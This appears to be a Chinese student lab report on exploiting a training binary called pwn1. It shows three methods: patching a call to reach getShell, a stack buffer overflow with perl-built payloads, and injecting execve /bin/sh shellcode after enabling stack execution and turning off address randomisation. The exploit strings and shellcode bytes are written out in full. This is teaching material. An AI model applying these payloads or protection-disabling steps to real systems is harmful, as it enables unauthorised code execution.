实践九 软件安全攻防–缓冲区溢出和shellcode
一、实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
二、实践过程
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
首先通过命令hostname zengjia修改主机名,然后重新打开终端,可以发现主机名变化
将下载的pwn1文件移入虚拟机,使用命令cp pwn1 pwn20222811备份并重命名文件
使用命令objdump -d pwn20222811 | more对文件进行反汇编
可以看到程序涉及到的主要函数段
可以看到,主函数中call指令跳转调用了foo函数,命令是call 8048491,机器指令e8 d7 ff ff ff,e8是call指令的机器 指令,后面的则是跳转的地址。
call指令编译后会把已call所在位置为基址,然后把被call的位置的偏移地址给汇编成字节码,所以它的地址计算规则是,eip寄存器的值80484ba+偏移地址ffffffd7=8048491
所以我们想要跳转到getshell函数,则需计算跳转的偏移地址804847d-80484ba=ffffffc3,机器指令则是e8 c3 ff ff ff。
使用命令vi pwn20222811,打开文件
通过命令,:%!xxd,将上面的代码转换为十六进制
使用命令,/e8 d7,锁定我们要修改的地方
将其修改成e8 c3,再使用命令:%!xxd -r还原格式,最后:wq保存退出
反汇编可以看到机器指令和汇编指令已经被修改
运行程序可以看到程序变成一个shell
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
我们通过反汇编命令,查看pwn1文件
可以看到foo函数在堆栈预留了0x1c空间,也就是28字节,所以如果超出这部分就有可能覆盖到返回地址
我们备份重命名pwn1文件,然后安装gdb并使用其对文件进行调试
我们r运行,对程序输入1111111122222222333333334444444412345678
查看存储器,我们发现eip最后存储着1234的ASCII码
所以要想通过覆盖返回地址,运行getshell函数,我们需要将1234这四个字符位置替换成getshell的内存地址0804847d,则输入应该构造为:11111111222222223333333344444444\x7d\x84\x04\x085678
我们通过命令:
perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x085678”’ > 20222811
构造十六进制字符串文件,命令xxd 20222811可查看文件内容
通过命令(cat 20222811; cat) | ./pwn20222811运行程序并将十六进制字符串文件输入
可以看到程序变成了一个shell程序
3、注入一个自己制作的shellcode并运行这段shellcode
安装execstack
输入 execstack -s pwn1 设置堆栈可执行。然后输入 execstack -q pwn1 查询文件的堆栈是否可执行。最后输入 echo “0” > /proc/sys/kernel/randomize_va_space 关闭地址随机化
我们参考其他博客,使用的shellcode为\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00
使用命令:
perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > 20222811
将生成的字符串存储到文件中
输入(cat 20222811;cat) | ./pwn20222811
重新再打开一个终端,使用命令ps -ef | grep pwn20222811查看进程号
可以看到进程号3473
我们使用gdb打开调试,使用命令attach 3473查看进程
输入命令disassemble foo反汇编
在 0x080484ae 处设置断点,break *0x080484ae
在第一个终端继续运行程序,并在第二个终端使用命令c继续运行
使用命令 info r esp 查看栈顶指针所在的位置为 0xffffd6bc。再使用命令x/16x 0xffffd6bc,可以看到 0xffffd40c 中有值 01020304
由shellcode可以知道,地址应为0xffffd6bc +0x00000004=0xffffd6c0
如此我们推出gdb,重新构造20222811文件
使用命令:
perl -e ‘print “A” x 32;print “\xc0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > 20222811
使用命令(cat 20222811;cat) | ./pwn20222811
可以看到运行程序变成一个shell
三、学习中遇到的问题及解决
问题1:修改可执行文件出现格式错误
解决方案:发现是因为代码转换成十六进制后保存退出导致的,重新进行实验,这次记得转换回原代码再保存退出便没有格式错误
四、实践总结
通过这次实验了解了一些缓冲区溢出和shellcode的知识,通过实验学习了有关汇编语言和机器代码的知识,还了解了有关堆栈的知识。在实验中对可执行文件进行了修改,还构造了字符串进行了缓冲区溢出,进一步加深了对所学知识的理解。通过通过实践和查阅资料提高了动手能力和实践能力。但实验中还有许多不太理解的内容,同时还存在许多不足之处,需要继续学习。